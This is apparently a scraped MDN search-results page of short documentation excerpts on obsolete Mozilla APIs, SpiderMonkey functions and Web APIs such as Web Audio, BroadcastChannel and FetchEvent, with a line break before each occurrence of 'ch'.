The global XML object - Archive of obsolete content
extending xml.prototype xml.prototype and xmllist.prototype (xmllist.prototype is actually just xml.prototype) cannot be extended in the same conventional way as other constructors su
ch as object.
...the following example defines the foocount() method, whi
ch returns the amount of <foo> elements in the xml: xml.prototype.function::foocount = function foocount() { return this..foo.length(); }; <foobar><foo/><foo/><foo/></foobar>.foocount() // returns 3 ignorecomments true by default.
...ignores whitespace between nodes and leading and trailing whitespace in text nodes, whi
ch would otherwise be interpreted as text nodes or as part of those text nodes, respectively.
...the number of spaces to indent ea
ch level in the xml tree.
Debug.msTraceAsyncCallbackStarting - Archive of obsolete content
the debug.mstraceasynccallbackstarting function associates the callback stack with a previously specified asyn
chronous operation.
... syntax debug.mstraceasynccallbackstarting(asyncoperationid) parameters asyncoperationid the id associated with the asyn
chronous operation.
... remarks call this function in the callback function for the asyn
chronous operation after the call to debug.mstraceasyncoperationcompleted.
... example the following code provides an example of tracing an asyn
chronous call for a windows 8.x store app.
GetObject - Archive of obsolete content
for example: var cadobject; cadobject = getobject("c:\\cad\\s
chema.cad"); when this code is executed, the application associated with the specified pathname is started, and the object in the specified file is activated.
...you could use the following code to activate a layer within a drawing called s
chema.cad: var layerobject = getobject("c:\\cad\\s
chema.cad!layer3"); if you do not specify the object's class, automation determines whi
ch application to start and whi
ch object to activate, based on the file name you provide.
...for example, a drawing might support three different types of objects: an application object, a drawing object, and a toolbar object, all of whi
ch are part of the same file.
... to specify whi
ch object in a file you want to activate, use the optional class argument.
New in JavaScript 1.1 - Archive of obsolete content
the following is a
changelog for javascript from netscape navigator 2.0 to 3.0.
...
changed functionality in javascript 1.1 "object deletion".
... tostring(): added radix parameter, whi
ch specifies the base to use for representing numeric values.
... isnan() now works on every platform (not only unix anymore) parsefloat() and parseint() now return nan on all platforms, if the first
character of the specified string cannot be converted to a number; in previous releases, it returned nan on solaris and irix and zero on all other platforms.
New in JavaScript 1.2 - Archive of obsolete content
the following is a
changelog for javascript from netscape navigator 3.0 to 4.0.
... the old netscape documentation can be found on ar
chive.org.
... arguments new properties function.arity new methods array.prototype.concat() array.prototype.slice() string.prototype.
charcodeat() string.prototype.concat() string.from
charcode() string.prototype.mat
ch() string.prototype.replace() string.prototype.sear
ch() string.prototype.slice() string.prototype.substr() new operators delete equality operators (== and !=) new statements labeled statements swit
ch do...while import export other new features regular expressions signed scripts
changed fu...
... string.prototype.split() it can take a regular expression argument, as well as a fixed string, by whi
ch to split the object string.
Window.importDialog() - Archive of obsolete content
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... this function was only available in the original, xul-based version of firefox for android, whi
ch is no longer supported; for that reason, this function is obsolete and should never be used.
... asrc the
chrome url of the xul dialog.
... example var dialog = importdialog(null, "
chrome://myextension/content/dialog.xul", myobject); notes the xul passed to importdialog() is very similar to xul passed to window.opendialog(), with some limitations and caveats: only <dialog> top level elements are permitted.
XForms Group Element - Archive of obsolete content
introduction the group element is used as a container for defining a hierar
chy of form controls.
... groups can be nested to create complex hierar
chies.
...core form controls, groups, swit
ches, repeats and host language content) within a non-relevant group are handled as non-relevant.
... if a group is non-relevant, then the rendering approa
ch used to signify non-relevance is applied to the entire content of the group.
XForms Output Element - Archive of obsolete content
attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to whi
ch type of widget(s) to use to represent this control accesskey - used to specify the keyboard shortcut for focusing this control single-node binding special value - xpath expression whose evaluation result is used as the output's value.
...
characteristics text is presented to the user when there is no type given for the bound node or a type is specified that is not handled by one of the other widgets (as documented below).
...
characteristics the bound instance node is of type xsd:date or a type derived from it in addition, the appearance attribute must also contain the value "full" firefox 2.0 doesn't currently have any similar widgets available for use with xhtml or xul.
...
characteristics the bound instance node is of type xsd:anyuri, xsd:base64binary or a type derived from it either the mediatype attribute is present and contains the image's mimetype or the output element contains a mediatype element whi
ch specifies the image's mimetype (for example, image/*).
XForms - Archive of obsolete content
see the html forms guide for approa
ches to creating forms in html5.
...drawing on other w3c standards like xml s
chema, xpath, and xml events, xforms tried to address some of the limitations of the current html forms model.
... xforms custom controls custom controls lets the form author "skin" ea
ch xforms control through xbl, and create f.x.
... mailing list newsgroup rss feed #xforms
channel on irc.mozilla.org w3c forms mailing list other community links...
Using the DOM File API in chrome code - Extensions
if you want to use the dom file api in
chrome code, you can do so without restriction.
...if you pass a path to the file constructor from unprivileged code (su
ch as web content), an exception will be thrown.
...in the xul/mozilla platform there isn't sadly an equivalent to java file.pathseparator (the system-dependent path-separator
character).
... other su
ch keys as the "profd" key are available,
check the known locations.
Fetch directive - MDN Web Docs Glossary: Definitions of Web-related terms
csp fet
ch directives are used in a content-security-policy header and control locations from whi
ch certain resource types may be loaded.
... all fet
ch directives fall back to default-src.
... that means, if a fet
ch directive is absent in the csp header, the user agent will look for the default-src directive.
... see fet
ch directives for a complete list.
Challenge-response authentication - MDN Web Docs Glossary: Definitions of Web-related terms
in security protocols, a
challenge is some data sent to the client by the server in order to generate a different response ea
ch time.
...
challenge-response protocols are one way to fight against replay attacks where an attacker listens to the previous messages and resends them at a later time to get the same credentials as the original message.
... the http authentication protocol is
challenge-response based, though the "basic" protocol isn't using a real
challenge (the realm is always the same).
... learn more
challenge-response authentication on wikipedia.
mozbrowserscrollareachanged
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... the mozbrowserscrollarea
changed event is fired when the available scrolling area in the browser <iframe>
changes.
... this can occur on resize and when the page size
changes (while loading for example.) general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserscrollarea
changed", function( event ) { console.log("the new scroll area is " + event.details.width + " x " + event.details.height + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericon
change mozbrowserloadend mozbrowserloadstart mozbrowserlocation
change mozbrowsersecurity
change mozbrowsertitle
change mozbrowserusernam...
mozbrowsertitlechange
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... the mozbrowsertitle
change event is fired when the title of a browser <iframe> (i.e.
... the contents of the <title> element)
changes.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsertitle
change", function( event ) { console.log("the title of the document is:" + event.detail); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericon
change mozbrowserloadend mozbrowserloadstart mozbrowserlocation
change mozbrowseropenwindow mozbrowsersecurity
change mozbrowsershowmodalprompt mozbrowserusernameandpasswordrequired ...
mozbrowservisibilitychange
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... the mozbrowservisibility
change event is fired when the visibility state of the current browser iframe <iframe>
changes, for example due to a call to setvisible().
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowservisibility
change", function( event ) { if(event.details.visible) { console.log("the browser is visible."); } else { console.log("the browser is hidden."); } }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericon
change mozbrowserloadend mozbrowserloadstart mozbrowserlocation
change mozbrowseropenwindow mozbrowsersecurity
change mo...
...zbrowsertitle
change ...
MozScrolledAreaChanged
the mozscrolledarea
changed event is fired when the document view has been scrolled or resized.
... note: while you can poll the values of document.scrollwidth and document.scrollheight to wat
ch for
changes to the document size, reading these properties can trigger document reflow, whi
ch can make them computationally expensive.
... this event, introduced in gecko 1.9.2, is fired whenever either or both of these values
change.
... example document.addeventlistener("mozscrolledarea
changed", event => { // find something useful to do with those values event.width; event.height; event.x; event.y; }, false); ...
UpdateCheckListener
update
checklisteners are passed the results of update
checks performed by the addonupdate
checker.
... method overview void onupdate
checkcomplete(in updateinfo results[]) void onupdate
checkerror(in integer status) methods onupdate
checkcomplete() called when the update
check completed successfully.
... void onupdate
checkcomplete( in updateinfo results[] ) parameters results an array of updateinfo objects representing the available add-on versions onupdate
checkerror() called when the update
check fails.
... void onupdate
checkerror( in integer status ) parameters status a value representing the type of failure; see the range of possible values.
nss tech note2
using the pkcs #11 module logger nss te
chnical note: 2 modes of operation extracting output from log files the logger displays all activity between nss and a specified pkcs #11 module.
...pinitargs = 0x4010c938 1024[805ef10]: rv = 0x0 1024[805ef10]: c_getinfo 1024[805ef10]: pinfo = 0xbffff340 1024[805ef10]: rv = 0x0 1024[805ef10]: c_getslotlist 1024[805ef10]: tokenpresent = 0x0 1024[805ef10]: pslotlist = 0x0 1024[805ef10]: pulcount = 0xbffff33c 1024[805ef10]: *pulcount = 0x2 1024[805ef10]: rv = 0x0 note that when a pkcs #11 function takes a pointer argument for whi
ch it will set a value (c_getslotlist above), this mode will display the value upon return.
...the number of calls to ea
ch pkcs #11 function will be counted, and the time spent in ea
ch function as well.
...if the environment variable nss_output_file is set, its value will be used as the path name of the file to whi
ch the final output will be written.
JS_GetInternedStringChars
this article covers features introduced in spidermonkey 1.8.5 get the
chars of an interned string.
... syntax const js
char * js_getinternedstring
chars(jsstring *str); const js
char * js_getinternedstring
charsandlength(jsstring *str, size_t *length); name type description str jsstring * the interned string.
... description js_getinternedstring
chars returns a pointer to the interned string.
... js_getinternedstring
charsandlength returns a pointer to the interned string and stores the length of it to *length.
JS_GetStringCharsAndLength
this article covers features introduced in spidermonkey 1.8.5 get the
characters and the length of a string.
... syntax const js
char * js_getstring
charsandlength(jscontext *cx, jsstring *str, size_t *length); name type description cx jscontext * the context.
... str jsstring * a string to get
characters.
... description js_getstring
charsandlength gets the
characters and the length of the string, str if successful, js_getstring
charsandlength returns a pointer to the string, and store the length to *length, otherwise returns null see also bug 1037869 ...
Children
« nsiaccessible page summary array of all this node's
children.
... attribute nsiarray
children; remark every
child node in the array implements nsiaccessible interface.
... exceptions thrown ns_error_failure indicates that the accessible is unatta
ched from the accessible tree.
... see also nsiaccessible.first
child nsiaccessible.last
child nsiaccessible.
childcount nsiaccessible.get
childat() nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.previoussibling ...
nsIFTPChannel
the nsiftp
channel is an extension of nsisupports used to determine if a
channel is an ftp
channel, and offering additional information about the ftp
channel.
... you can determine if a
channel is an ftp
channel by
checking to see if it implements this interface, by calling nsisupports.queryinterface() on it.
... netwerk/protocol/ftp/nsiftp
channel.idlscriptable please add a summary to this article.
... last
changed in gecko 1.9 (firefox 3) inherits from: nsisupports attributes attribute type description lastmodifiedtime prtime the time at whi
ch the ftp
channel was last updated.
nsIWebBrowserChromeFocus
embedding/browser/webbrowser/nsiwebbrowser
chromefocus.idlscriptable implemented by the same object as nsiembeddingsitewindow.
... it represents the focus up-calls from mozilla to the embedding
chrome.
... inherits from: nsisupports last
changed in gecko 1.7 method overview void focusnextelement(); void focusprevelement(); methods focusnextelement() set the focus at the next focusable element in the
chrome.
...focusprevelement() set the focus at the previous focusable element in the
chrome.
Cache Storage - Firefox Developer Tools
under the ca
che storage type within the storage inspector you can see the contents of any dom ca
ches created using the ca
che api.
... if you select a ca
che, you'll see a list of the resources it contains.
... for ea
ch resource, you'll see: the url for the resource.
... the status code for the request that was made to fet
ch it.
Rich output - Firefox Developer Tools
when the web console prints objects, it includes a ri
cher set of information than just the object's name.
... in particular, it: provides extra information for certain types enables detailed examination of the object's properties provides ri
cher information for dom elements, and enables you to select them in the inspector type-specific ri
ch output the web console provides ri
ch output for many object types, including the following: object array date promise regexp window document element event examining object properties when an object is logged to the console it has a right-pointing triangle next to it, indicating that it can be expanded.
...the output will look something like this: console.log(todolist) array(4) [ {…}, {…}, {…}, {…} ] debugger eval code:1:9 undefined if you expand objects, su
ch as arrays, you get slightly different content.
...: "to do", description: "normalize table", datecreated: 1552404533790 } length: 4 <prototype>: array [] debugger eval code:1:9 undefined highlighting and inspecting dom nodes if you hover the mouse over any dom element in the console output, it's highlighted on the page: in the screenshot above you'll also see a blue "target" icon next to the node in the console output: click it to swit
ch to the inspector with that node selected.
AudioBuffer.numberOfChannels - Web APIs
the numberof
channels property of the audiobuffer interface returns an integer representing the number of discrete audio
channels described by the pcm data stored in the buffer.
... syntax var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); myarraybuffer.numberof
channels; value an integer.
... example // stereo var
channels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; // just random values between -1.0 and 1.0 for (var
channel = 0;
channel <
channels;
channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.get
channeldata(
channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.numberof
channels); } specification ...
... specification status comment web audio apithe definition of 'numberof
channels' in that specification.
AudioScheduledSourceNode.onended - Web APIs
the onended event handler for the audios
cheduledsourcenode interface specifies an eventhandler to be executed when the ended event occurs on the node.
... this event is sent to the node when the concrete interface (su
ch as audiobuffersourcenode, oscillatornode, or constantsourcenode) determines that it has stopped playing.
... syntax audios
cheduledsourcenode.onended = eventhandler; value a function whi
ch is called by the browser when the ended event occurs on the audios
cheduledsourcenode.
... the function receives as input a single parameter, whi
ch is an object of type event describing the event that occurred.
AudioScheduledSourceNode.start() - Web APIs
the start() method on audios
cheduledsourcenode s
chedules a sound to begin playback at the specified time.
... syntax audios
cheduledsourcenode.start([when [, offset [, duration]]]); parameters when optional the time, in seconds, at whi
ch the sound should begin to play.
... example this example demonstrates how to create an oscillatornode whi
ch is s
cheduled to start playing in 2 seconds and stop playing 1 second after that.
... context = new audiocontext(); osc = context.createoscillator(); osc.connect(context.destination); /* s
chedule the start and stop times for the oscillator */ osc.start(context.currenttime + 2); osc.stop(context.currenttime + 3); specifications specification status comment web audio apithe definition of 'start()' in that specification.
BaseAudioContext.onstatechange - Web APIs
the onstate
change property of the baseaudiocontext interface defines an event handler function to be called when the state
change event fires: this occurs when the audio context's state
changes.
... syntax baseaudiocontext.onstate
change = function() { ...
... }; example the following snippet is taken from our audiocontext states demo (see it running live.) the onstate
change hander is used to log the current state to the console every time it
changes.
... audioctx.onstate
change = function() { console.log(audioctx.state); } specifications specification status comment web audio apithe definition of 'onstate
change' in that specification.
BatteryManager.chargingTime - Web APIs
indicates the amount of time, in seconds, that remain until the battery is fully
charged.
... syntax var time = battery.
chargingtime on return, time is the remaining time in seconds until the battery, whi
ch is a batterymanager object, is fully
charged, or 0 if the battery is already fully
charged.
... if the battery is currently dis
charging, this value is infinity.
... example html content <div id="
chargingtime">(
charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { var time = battery.
chargingtime; document.queryselector('#
chargingtime').textcontent = battery.
chargingtime; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.dischargingTime - Web APIs
indicates the amount of time, in seconds, that remains until the battery is fully dis
charged.
... syntax var time = battery.dis
chargingtime on return, time is the remaining time in seconds until the battery, whi
ch is a batterymanager object, is fully dis
charged and the system will suspend.
... this value is infinity if the battery is currently
charging rather than dis
charging, or if the system is unable to report the remaining dis
charging time.
... example html content <div id="dis
chargingtime">(dis
charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { var time = battery.dis
chargingtime; document.queryselector('#dis
chargingtime').textcontent = battery.dis
chargingtime; }); specifications specification status comment battery status api candidate recommendation initial definition ...
getCharacteristic() - Web APIs
the bluetoothgattservice.get
characteristic() method returns a promise to an instance of bluetoothgatt
characteristic for a given universally unique identifier (uuid).
... syntax bluetoothgattserviceinstance.get
characteristic(
characteristic).then(function(bluetoothgatt
characteristic) { ...
... } ) returns a promise to an instance of bluetoothgatt
characteristic parameters
characteristic the uuid of a
characteristic, for example '00002a37-0000-1000-8000-00805f9b34fb' for the heart rate measurement
characteristic.
... specifications specification status comment web bluetooththe definition of 'get
characteristic()' in that specification.
BroadcastChannel() - Web APIs
the broadcast
channel() constructor creates a new broadcast
channel and connects it to the underlying
channel.
... syntax
channel = new broadcast
channel(
channel); values
channel is a domstring representing the name of the
channel; there is one single
channel with this name for all browsing contexts with the same origin.
... example // create a new
channel listening to the "internal_notification"
channel.
... var bc = new broadcast
channel('internal_notification'); bc.postmessage('new listening connected!'); specifications specification status comment html living standardthe definition of 'broadcast
channel()' in that specification.
BroadcastChannel.onmessage - Web APIs
the broadcast
channel.onmessage event handler is a property that specifies the function to execute when a message event, of type messageevent, is received by this broadcast
channel.
... su
ch an event is sent by the browser with a message broadcasted to the
channel.
... syntax
channel.onmessage = function; values function is the name of a user-defined function, without the () suffix or any parameters, or an anonymous function declaration, su
ch as function(event) {...}.
...'${ev.data}'`); }; specifications specification status comment html living standardthe definition of 'broadcast
channel.onmessage' in that specification.
CSSUnparsedValue.forEach() - Web APIs
the cssunparsedvalue.forea
ch() method executes a provided function once for ea
ch element of the cssunparsedvalue.
... syntax cssunparsedvalue.forea
ch(function callback(currentvalue[, index[, array]]) { // your iterator }[, thisarg]); parameters callback the function to execute for ea
ch element, taking three arguments: currentvalue the value of the current element being processed.
... arrayoptional the cssunparsedvalue that forea
ch() is being called on.
... specifications specification status comment css typed om level 1the definition of 'forea
ch()' in that specification.
ChildNode.remove() - Web APIs
the
childnode.remove() method removes the object from the tree it belongs to.
... syntax node.remove(); example using remove() <div id="div-01">here is div-01</div> <div id="div-02">here is div-02</div> <div id="div-03">here is div-03</div> var el = document.getelementbyid('div-02'); el.remove(); // removes the div with the 'div-02' id
childnode.remove() is unscopable the remove() method is not scoped into the with statement.
... with(node) { remove(); } // referenceerror: remove is not defined polyfill you can polyfill the remove() method in internet explorer 9 and higher with the following code: // from:https://github.com/jserz/js_piece/blob/master/dom/
childnode/remove()/remove().md (function (arr) { arr.forea
ch(function (item) { if (item.hasownproperty('remove')) { return; } object.defineproperty(item, 'remove', { configurable: true, enumerable: true, writable: true, value: function remove() { this.parentnode.remove
child(this); } }); }); })([element.prototype,
characterdata.prototype, documenttype.prototype]); specifications specification status comment domthe definitio...
...n of '
childnode.remove' in that specification.
Document.onfullscreenchange - Web APIs
the document interface's onfullscreen
change property is an event handler for the fullscreen
change event that is fired immediately before a document transitions into or out of full-screen mode.
... syntax targetdocument.onfullscreen
change = fullscreen
changehandler; value an event handler whi
ch is invoked whenever the document receives a fullscreen
change event, indicating that the document is transitioning into or out of full-screen mode.
... usage notes the fullscreen
change event does not directly specify whether the transition is into or out of full-screen mode, so your event handler should look at the value of document.fullscreenelement.
... example document.onfullscreen
change = function ( event ) { console.log("full screen
change") }; document.documentelement.onclick = function () { // requestfullscreen() must be in an event handler or it will fail document.documentelement.requestfullscreen(); } specifications specification status comment fullscreen apithe definition of 'onfullscreen
change' in that specification.
Document: visibilitychange event - Web APIs
the visibility
change event is fired at the document when the content of its tab have become visible or have been hidden.
... bubbles yes cancelable no interface event event handler property onvisibility
change usage notes the event doesn't include the document's updated visibility status, but you can get that information from the document's visibilitystate property.
... document.addeventlistener("visibility
change", function() { if (document.visibilitystate === 'visible') { backgroundmusic.play(); } else { backgroundmusic.pause(); } }); specifications specification status comment page visibility (second edition)the definition of 'visibility
change' in that specification.
...please contribute data for "api.document.visibility
change" (depth: 1) to the mdn compatibility data repository.
FetchEvent.client - Web APIs
the fet
chevent.client read-only property returns the client that the current service worker is controlling.
... note: this feature has been deprecated, with its functionality replaced by fet
chevent.clientid and clients.get().
... syntax var myclient = fet
chevent.client; value a client object.
... example self.addeventlistener('fet
ch', function(event) { console.log(event.client); }); ...
FetchEvent.replacesClientId - Web APIs
the replacesclientid read-only property of the fet
chevent interface is the id of the client that is being replaced during a page navigation.
... additionally, if the fet
ch isn't a navigation, replacesclientid will be an empty string.
... syntax var myreplacedclientid = fet
chevent.replacesclientid; value a domstring.
... example self.addeventlistener('fet
ch', function(event) { console.log(event.replacesclientid); }); specifications specification status comment service workersthe definition of 'replacesclientid' in that specification.
FetchEvent.resultingClientId - Web APIs
the resultingclientid read-only property of the fet
chevent interface is the id of the client that replaces the previous client during a page navigation.
... if the fet
ch request is a subresource request or the request's destination is report, resultingclientid will be an empty string.
... syntax var myresultingclientid = fet
chevent.resultingclientid; value a domstring.
... example self.addeventlistener('fet
ch', function(event) { console.log(event.resultingclientid); }); specifications specification status comment service workersthe definition of 'resultingclientid' in that specification.
FontFace.stretch - Web APIs
the stret
ch property of the fontface interface retrieves or sets how the font stret
ches.
... it is equivalent to the font-stret
ch descriptor.
... syntax var stret
chdescriptor = fontface.stret
ch; fontface.stret
ch = stret
chdescriptor; value a cssomstring containing a descriptor as it would be defined in a style sheet's @font-face rule.
... specifications specification status comment css font loading module level 3the definition of 'stret
ch' in that specification.
Force Touch events - Web APIs
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... force tou
ch events are a proprietary, apple-specific feature whi
ch makes possible (where supported by the input hardware) new interactions based on how hard the user clicks or presses down on the tou
chscreen or trackpad.
... webkitmouseforce
changed this event is fired ea
ch time the amount of pressure
changes.
... event properties the following property is known to be available on the webkitmouseforcewillbegin, mousedown, webkitmouseforce
changed, webkitmouseforcedown, webkitmouseforceup, mousemove, and mouseup event objects: mouseevent.webkitforce read only the amount of pressure currently being applied to the trackpad/tou
chscreen constants these constants are useful for determining the relative intensity of the pressure indicated by mouseevent.webkitforce: mouseevent.webkit_force_at_mouse_down read only minimum force necessary for a normal click mouseevent.webkit_force_at_force_mouse_down read only minimum force necessary for a force click specifications not part of any specification...
GlobalEventHandlers.oncuechange - Web APIs
the oncue
change property of the globaleventhandlers mixin is the eventhandler for processing cue
change events.
... the cue
change event fires when a texttrack has
changed the currently displaying cues.
... syntax element.oncue
change = handlerfunction; var handlerfunction = element.oncue
change; handlerfunction is either null or a javascript function specifying the handler for the event.
... specification specification status comment html living standardthe definition of 'oncue
change' in that specification.
GlobalEventHandlers.ondurationchange - Web APIs
the onduration
change property of the globaleventhandlers mixin is the eventhandler for processing duration
change events.
... the duration
change event is fired when the duration attribute has been updated.
... syntax element.onduration
change = handlerfunction; var handlerfunction = element.onduration
change; handlerfunction is either null or a javascript function specifying the handler for the event.
... specification specification status comment html living standardthe definition of 'onduration
change' in that specification.
HTMLAnchorElement.rel - Web APIs
the htmlan
chorelement.rel property reflects the rel attribute.
... syntax var relstr = an
chorelt.rel; an
chorelt.rel = relstr; example var an
chors = document.getelementsbytagname("a"); var length = an
chors.length; for (var i = 0; i < length; i++) { alert("rel: " + an
chors[i].rel); } specifications specification status comment html living standardthe definition of 'rel' in that specification.
... living standard no
change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'rel' in that specification.
... obsolete no
change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'rel' in that specification.
HTMLCanvasElement.mozFetchAsStream() - Web APIs
the htmlcanvaselement.mozfet
chasstream() internal method used to create a new input stream that, when ready, would provide the contents of the canvas as image data.
... syntax void canvas.mozfet
chasstream(callback, type); parameters callback an nsiinputstreamcallback.
... examples save to disk with mozfet
chasstream (
chrome context only) this te
chnique also converts it to ico, however it will not work in windows xp as winxp cannot convert from png to ico.
... alert('succesfully made'); } }; } var mfascallback = function(iconname) { return function(instream) { var file = fileutils.getfile('desk', [iconname + '.ico']); var outstream = fileutils.openfileoutputstream(file); cu.import('resource://gre/modules/netutil.jsm'); netutil.asynccopy(instream, outstream, netutilcallback()); } } canvas.mozfet
chasstream(mfascallback('myicon'), 'image/vnd.microsoft.icon'); specifications not part of any specification.
HTMLMediaElement: durationchange event - Web APIs
the duration
change event is fired when the duration attribute has been updated.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onduration
change specification html5 media examples these examples add an event listener for the htmlmediaelement's duration
change event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('duration
change', (event) => { console.log('not sure why, but the duration of the video has
changed.'); }); using the onduration
change event handler property: const video = document.queryselector('video'); video.onduration
change = (event) => { console.log('not sure why, but the duration of the video has
changed.'); }; specifications specification status html living standardthe definition of 'duration
change media event' in that specification.
... living standard html5the definition of 'duration
change media event' in that specification.
HTMLMediaElement: ratechange event - Web APIs
the rate
change event is fired when the playback rate has
changed.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onrate
change specification html5 media examples these examples add an event listener for the htmlmediaelement's rate
change event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('rate
change', (event) => { console.log('the playback rate
changed.'); }); using the onrate
change event handler property: const video = document.queryselector('video'); video.onrate
change = (event) => { console.log('the playback rate
changed.'); }; specifications specification status html living standardthe definition of 'rate
change media event' in that specification.
... living standard html5the definition of 'rate
change media event' in that specification.
HTMLMediaElement: volumechange event - Web APIs
the volume
change event is fired when the volume has
changed.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onvolume
change specification html5 media examples these examples add an event listener for the htmlmediaelement's volume
change event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('volume
change', (event) => { console.log('the volume
changed.'); }); using the onvolume
change event handler property: const video = document.queryselector('video'); video.onvolume
change = (event) => { console.log('the volume
changed.'); }; specifications specification status html living standardthe definition of 'volume
change media event' in that specification.
... living standard html5the definition of 'volume
change media event' in that specification.
HTMLSelectElement.checkValidity() - Web APIs
the htmlselectelement.
checkvalidity() method
checks whether the element has any constraints and whether it satisfies them.
... syntax var result = selectelt.
checkvalidity(); specifications specification status comment html living standardthe definition of 'htmlselectelement.
checkvalidity()' in that specification.
... living standard no
change since the latest snapshot, html5.
... html5the definition of 'htmlselectelement.
checkvalidity()' in that specification.
IDBDatabase: versionchange event - Web APIs
the version
change event is fired when a database structure
change (idbopendbrequest.onupgradeneeded event or idbfactory.deletedatabase) was requested.
... bubbles no cancelable no interface event event handler property onversion
change examples this example opens a database and, on success, adds a listener to version
change: // open the database const dbopenrequest = window.indexeddb.open('nonexistent', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month',...
... 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.addeventlistener('success', event => { const db = event.target.result; db.addeventlistener('version
change', event => { console.log('the version of this database has
changed'); }); }); the same example, using the onversion
change event handler property: // open the database const dbopenrequest = window.indexeddb.open('nonexistent', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.cr...
...eateindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db = event.target.result; db.onversion
change = event => { console.log('the version of this database has
changed'); }; }; ...
IDBVersionChangeEvent.version - Web APIs
the version property of the idbversion
changeevent interface returns the new version of the database in a version
change transaction.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetversion deprecatednon-standard
chrome full support 12edge full support ≤18firefox full support 16 full support 16 full support 10prefixed prefixed implemented with the vendor prefix: mozie no support noopera no support nosafari no support nowebview android full suppo...
...rt yes
chrome android full support 18firefox android full support 22opera android full support 22safari ios no support nosamsung internet android full support 1.0legend full support full support no support no supportnon-standard.
installChrome - Web APIs
install
chrome installs new skin or locale packages in netscape 6 and mozilla.
... method of installtrigger object syntax int install
chrome( type, url, name ) parameters the install
chrome method has the following parameters: type type can be installtrigger.skin or installtrigger.locale.
... url url is a string containing a full or relative url to download name name is displayed in the dialog, but is also used to *select* the theme somust mat
ch exactly the name in the internal manifest.rdf file.
...description install
chrome is a special method for installing new
chrome in netscape 6 and mozilla.
KeyboardLayoutMap.forEach() - Web APIs
the forea
ch() method of the keyboardlayoutmap interface executes a provided function once for ea
ch element of the map.
... syntax keyboardlayoutmap.forea
ch(function callback(currentvalue[, index[, array]]) { //your iterator }[, thisarg]); parameters callback the function to execute for ea
ch element, taking three arguments: currentvalue the value of the current element being processed.
... array optional the keyboardlayoutmap that forea
ch() is being called on.
... specifications specification status comment keyboard mapthe definition of 'forea
ch()' in that specification.
MediaKeySession.onkeystatuseschange - Web APIs
the onkeystatuses
change property of the mediakeysession is an event handler, fired whenever a keystatus
change event ocurrs, denoting there has been a
change in the keys or their statuses within a session.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/mediakeysession" target="_top"><rect x="151" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font...
...-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">mediakeysession</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} syntax mediakeysession.onkeystatuses
change = function(keystatus
change) { ...
... } specifications specification status comment encrypted media extensionsthe definition of 'onkeystatuses
